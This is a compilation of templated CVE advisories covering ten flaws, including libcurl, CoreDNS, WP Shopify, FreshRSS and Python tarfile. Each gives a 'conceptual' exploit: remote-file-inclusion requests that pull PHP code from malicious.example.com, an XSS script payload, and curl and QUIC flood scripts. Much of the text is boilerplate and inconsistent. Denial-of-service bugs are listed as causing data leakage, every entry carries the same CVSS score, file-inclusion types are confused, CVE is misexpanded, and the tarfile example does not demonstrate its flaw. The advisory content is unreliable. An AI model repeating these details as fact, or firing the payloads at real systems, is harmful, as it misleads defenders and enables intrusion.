Author: Ameeba

Overview

The identified vulnerability, CVE-2025-31045, is a high-risk security issue affecting the Elfsight Contact Form widget, versions up to 2.3.1. This flaw allows unauthorized actors to gain access to sensitive system information, potentially leading to system compromise or data leakage. It’s imperative for users of the widget to understand this vulnerability and take necessary steps to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-31045
Severity: High – CVSS 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Elfsight Contact Form Widget | Up to 2.3.1

How the Exploit Works

The vulnerability arises from the widget’s improper handling of sensitive system information. Attackers can exploit this flaw to retrieve embedded sensitive data, potentially leading to unauthorized access to the system control sphere. This can result in the compromise of system integrity or data leakage.

Conceptual Example Code

An example of how this vulnerability might be exploited is shown in the following conceptual HTTP request:

GET /elfsight-contact-form/?sensitive_data=extract HTTP/1.1
Host: target.example.com

In this example, the malicious actor sends a GET request to the vulnerable endpoint. If the system is vulnerable, it will respond with the requested sensitive data.

Mitigation

To mitigate the risk posed by the CVE-2025-31045 vulnerability, users are advised to apply the latest vendor patch. If this is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary protection by monitoring network traffic and identifying potential security breaches.

Overview

This report discusses the recent discovery of a high-severity vulnerability, designated as CVE-2025-5399, which affects the libcurl’s WebSocket code. If exploited, this vulnerability allows a malicious server to trap libcurl in an endless busy-loop, potentially leading to a Denial-of-Service (DoS) attack. This vulnerability is of critical concern to any applications or systems using libcurl, due to the potential for data leakage or system compromise.

Vulnerability Summary

CVE ID: CVE-2025-5399
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

libcurl | All versions prior to patch

How the Exploit Works

The exploit takes advantage of a flaw in the WebSocket code of libcurl. By sending a specially crafted packet, a malicious server can cause libcurl to enter an endless busy-loop. This loop cannot be exited by the application unless the process or thread is forcibly terminated. In effect, this can lead to a DoS attack, where the application becomes unresponsive and inaccessible.

Conceptual Example Code

While we don’t have the exact exploit code, a conceptual attack might involve a WebSocket handshake request with a malicious payload. This could look something like:

GET /chat HTTP/1.1
Host: target.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
{ "malicious_payload": "..." }

In the above example, the “malicious_payload” could be the specially crafted packet which triggers the endless loop in libcurl.

Mitigation

As a mitigation measure, users are advised to apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may help to identify and block malicious packets. However, these are temporary measures and cannot completely secure the system from the vulnerability.

Overview

The vulnerability identified as CVE-2025-47950 exposes a potential Denial of Service (DoS) attack vector in the CoreDNS DNS-over-QUIC (DoQ) server. This vulnerability affects versions of CoreDNS prior to 1.12.2. Given that CoreDNS is a widely used DNS server, this vulnerability could have significant implications for many internet systems, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47950
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage due to Denial of Service (DoS)

Affected Products

Product | Affected Versions

CoreDNS | Prior to 1.12.2

How the Exploit Works

The vulnerability arises from the CoreDNS server’s handling of incoming QUIC streams. Previously, the server would create a new goroutine for every incoming QUIC stream without any limit. This could be exploited by a remote, unauthenticated attacker who could open a large number of concurrent streams. This would lead to uncontrolled memory consumption, potentially causing an Out Of Memory (OOM) crash, particularly in containerized or memory-constrained environments.

Conceptual Example Code

The following pseudocode illustrates how an attacker might exploit this vulnerability:

import quic
def exploit(target):
client = quic.Client()
client.connect(target)
for _ in range(1000000):  # an excessive number of streams
stream = client.new_stream()
stream.send(b"malicious_packet")
exploit("target.example.com")

In this example, the attacker creates an excessive number of QUIC streams, sending a packet on each one, to cause uncontrolled memory consumption and potentially an Out Of Memory (OOM) crash.

Mitigation Guidance

To mitigate this vulnerability, users should upgrade to CoreDNS version 1.12.2 or later, which introduces two key mitigation mechanisms: a cap on the number of concurrent QUIC streams per connection (`max_streams`) and a server-wide, bounded worker pool to process incoming streams (`worker_pool_size`).
For those unable to upgrade, possible workarounds include disabling QUIC support by removing or commenting out the `quic://` block in the Corefile, using container runtime resource limits to detect and isolate excessive memory usage, monitoring QUIC connection patterns and alerting on anomalies, or using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation.

Overview

The CVE-2025-30999 is a vulnerability in the PHP program of WP Shopify developed by Fahad Mahmood. It presents an improper control of Filename for Include/Require Statement, which allows for PHP Local File Inclusion. This vulnerability affects a significant number of WP Shopify applications and presents a notable risk for potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-30999
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

WP Shopify | n/a through 1.5.3

How the Exploit Works

The vulnerability is due to improper control of a filename that is used in a PHP include/require statement in the WP Shopify application. This allows an attacker to manipulate the input to the filename argument and include a file from a remote server. This can lead to code execution on the target server, leading to potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. In this example, the attacker sends a crafted HTTP request to a vulnerable endpoint. This request includes a malicious payload that triggers the PHP Remote File Inclusion vulnerability.

GET /vulnerable/endpoint?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: target.example.com

This request, when processed by the vulnerable server, would essentially run the malicious PHP script on the target server, thereby compromising it.

Mitigation

To mitigate this vulnerability, it’s recommended to apply the vendor patch once available. In the meantime, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Additionally, it’s recommended to limit the input to the filename argument in the PHP include/require statement to locally available files only.

Overview

The Critical Vulnerability Exposure (CVE) CVE-2023-25995 is a high-level security flaw found in the AI Mortgage Calculator used by choicehomemortgage. This vulnerability arises due to the ‘PHP Remote File Inclusion’, which can allow an intruder to introduce malicious codes into the system. The flaw potentially affects all versions up to 1.0.1 of the AI Mortgage Calculator, making it a serious concern for any organization or individual using this software.

Vulnerability Summary

CVE ID: CVE-2023-25995
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Potential Data Leakage

Affected Products

Product | Affected Versions

AI Mortgage Calculator | Up to 1.0.1

How the Exploit Works

This particular exploit takes advantage of the improper control of filenames for the ‘Include/Require’ statement in the PHP program. This would allow an attacker to remotely include a file from any location, local or otherwise. The included file can then execute arbitrary PHP code, thereby compromising the system. In essence, the vulnerability allows an attacker to control what file is included and executed by the vulnerable application.

Conceptual Example Code

Here is a hypothetical example of how an HTTP request exploiting this vulnerability might look:

GET /calculator.php?file=http://malicious.example.com/malicious_code.php HTTP/1.1
Host: vulnerablehost.com
Accept: */*

In this example, the attacker has included a PHP file from a remote server (`http://malicious.example.com/malicious_code.php`), which will be executed by the server running the AI Mortgage Calculator application. This could lead to a full system compromise or potential data leakage.
To mitigate this vulnerability, users are advised to apply the latest patches provided by the vendor. If patches are unavailable, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as temporary mitigation.

Overview

The CVE-2025-31134 is a severe vulnerability that affects the self-hosted RSS feed aggregator, FreshRSS. The critical flaw allows an attacker to gain additional information about the server, potentially leading to a system compromise or data leakage. This report details the vulnerability, the affected products, and the mitigation guidance.

Vulnerability Summary

CVE ID: CVE-2025-31134
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

FreshRSS | Prior to 1.26.2

How the Exploit Works

The vulnerability stems from the lack of proper security controls in FreshRSS’s directory structure. An attacker can send specific requests to the server, checking for the existence of certain directories. This information can reveal the presence of older PHP versions or other software installed on the server. Armed with this information, the attacker can plan further attacks based on known vulnerabilities of the identified software.

Conceptual Example Code

An attacker might use a command similar to the following to check for the existence of a directory:

GET /path/to/directory HTTP/1.1
Host: target.example.com

If the server responds with a 200 OK status, the attacker knows the directory exists and can then infer information about the server’s configuration or installed software.

Mitigation Guidance

FreshRSS has released a patch in version 1.26.2 that addresses this vulnerability. It is highly recommended that users update their software to the latest version. In the event that an immediate update is not possible, users should consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.

Overview

A significant security vulnerability has been discovered in the VMware NSX Manager UI, identified as CVE-2025-22243. This vulnerability exposes systems to a stored Cross-Site Scripting (XSS) attack due to inadequate input validation. As a result, it leaves systems vulnerable to potential compromise or data leakage, posing a significant risk to data integrity and system security.

Vulnerability Summary

CVE ID: CVE-2025-22243
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

VMware NSX Manager UI | [All versions prior to the patch]

How the Exploit Works

The vulnerability occurs due to VMware NSX Manager UI’s failure to adequately validate and sanitize user-generated input. An attacker can inject malicious scripts into the system, which are then stored and executed when a user accesses the compromised web page. This approach allows the attacker to execute arbitrary scripts in the context of the user’s browser, potentially leading to unauthorized access, data theft, or other malicious activities.

Conceptual Example Code

Here is a basic example demonstrating how a malicious script might be injected into a vulnerable system:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user_input": "<script>malicious_code_here</script>"
}

In this example, the “user_input” field is used to carry the malicious script. When the JSON payload is processed by the vulnerable system, the script is unintentionally executed. This can lead to various harmful outcomes, depending on the intentions of the attacker.

Overview

The vulnerability CVE-2018-25112 is a critical flaw where an unauthenticated remote attacker can exploit uncontrolled resource consumption in the IEC 61131 program of the affected products. This can lead to a Denial-of-Service (DoS) of the device, hampering its functionality. This vulnerability poses a significant threat to organizations using affected products, as it can result in potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2018-25112
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage due to Denial-of-Service (DoS)

Affected Products

Product | Affected Versions

IEC 61131 | All versions before the vendor patch

How the Exploit Works

The vulnerability arises due to uncontrolled resource consumption in the IEC 61131 program. An unauthenticated remote attacker can flood the network with large amounts of traffic that the ILC has to handle. This excessive load on the system can lead to a Denial-of-Service, thus rendering the device unusable. This can potentially lead to system compromise and data leakage.

Conceptual Example Code

Here’s a conceptual example of how an attacker might generate large amounts of traffic to exploit this vulnerability:

for i in {1..100000}
do
curl -X POST http://target.example.com/vulnerable_endpoint -d "{ \"data\": \"$i\" }" &
done

In this example, the attacker uses a simple shell script to repeatedly send HTTP POST requests to the vulnerable endpoint.

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the latest patches provided by the vendor. Until patches can be applied, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regularly update and patch systems to prevent exploitation of known vulnerabilities.

Overview

A critical vulnerability, CVE-2025-23100, has been identified in Samsung Mobile Processors, specifically in Exynos 1280, 2200, 1380, 1480, 2400 models. This vulnerability originates from the absence of a NULL check, leading to the potential for a Denial of Service (DoS) attack. Given the widespread use of these processors in mobile devices, the impact of this vulnerability is significant and requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-23100
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Samsung Processor Exynos 1280 | All versions
Samsung Processor Exynos 2200 | All versions
Samsung Processor Exynos 1380 | All versions
Samsung Processor Exynos 1480 | All versions
Samsung Processor Exynos 2400 | All versions

How the Exploit Works

The exploit takes advantage of an absent NULL check in the affected processors. An attacker can send specially crafted data to the processor, which due to the missing NULL check, may cause the system to crash, leading to a Denial of Service. Moreover, in some cases, this could also potentially lead to a system compromise or data leakage, escalating the impact of the vulnerability.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This pseudocode simulates a scenario where an attacker sends malicious data to the processor.

def send_malicious_data(target_processor):
data = get_malicious_data()  # Function to generate malicious data
target_processor.process(data)  # Send malicious data to the processor

In this example, `get_malicious_data()` represents a function that generates malicious data crafted to exploit the vulnerability. The `process()` function represents the method in the target processor that processes incoming data. The absence of a NULL check in this function leads to the system crash and potential data leakage.

Overview

CVE-2025-4435 is a critical vulnerability that stems from the improper handling of filtered files during the extraction of archives. This vulnerability affects a range of systems and applications that utilize TarFile for archive management, potentially leading to system compromise or data leakage. The issue arises when TarFile.errorlevel = 0 and extraction occurs with a filter, whereby the expectation is for filtered members to be skipped in the extraction process, but they are not.

Vulnerability Summary

CVE ID: CVE-2025-4435
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or Data leakage

Affected Products

Product | Affected Versions

TarFile | All versions prior to patch release
Python | Versions using affected TarFile library

How the Exploit Works

The exploit takes advantage of the faulty behavior of TarFile.errorlevel = 0 during archive extraction. Instead of skipping the filtered members as expected, the vulnerability allows these members to be extracted. An attacker can exploit this by embedding malicious payloads in such filtered members. When the extraction process happens, the malicious payload is released into the system, potentially leading to system compromises or data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability.

# Create a tarfile with malicious payload
import tarfile
tar = tarfile.open("exploit.tar", "w")
tar.add("malicious_payload")
tar.close()
# Now, the tarfile is sent to the target system. On the target system, the following happens:
import tarfile
tar = tarfile.open("exploit.tar")
tar.errorlevel = 0  # Expectation: malicious_payload should be skipped during extraction
tar.extractall(path="target_directory", members=filter_function)  # Actual: malicious_payload gets extracted
tar.close()

In the above example, `filter_function` is intended to filter out `malicious_payload`, but due to the vulnerability, it is not skipped during extraction.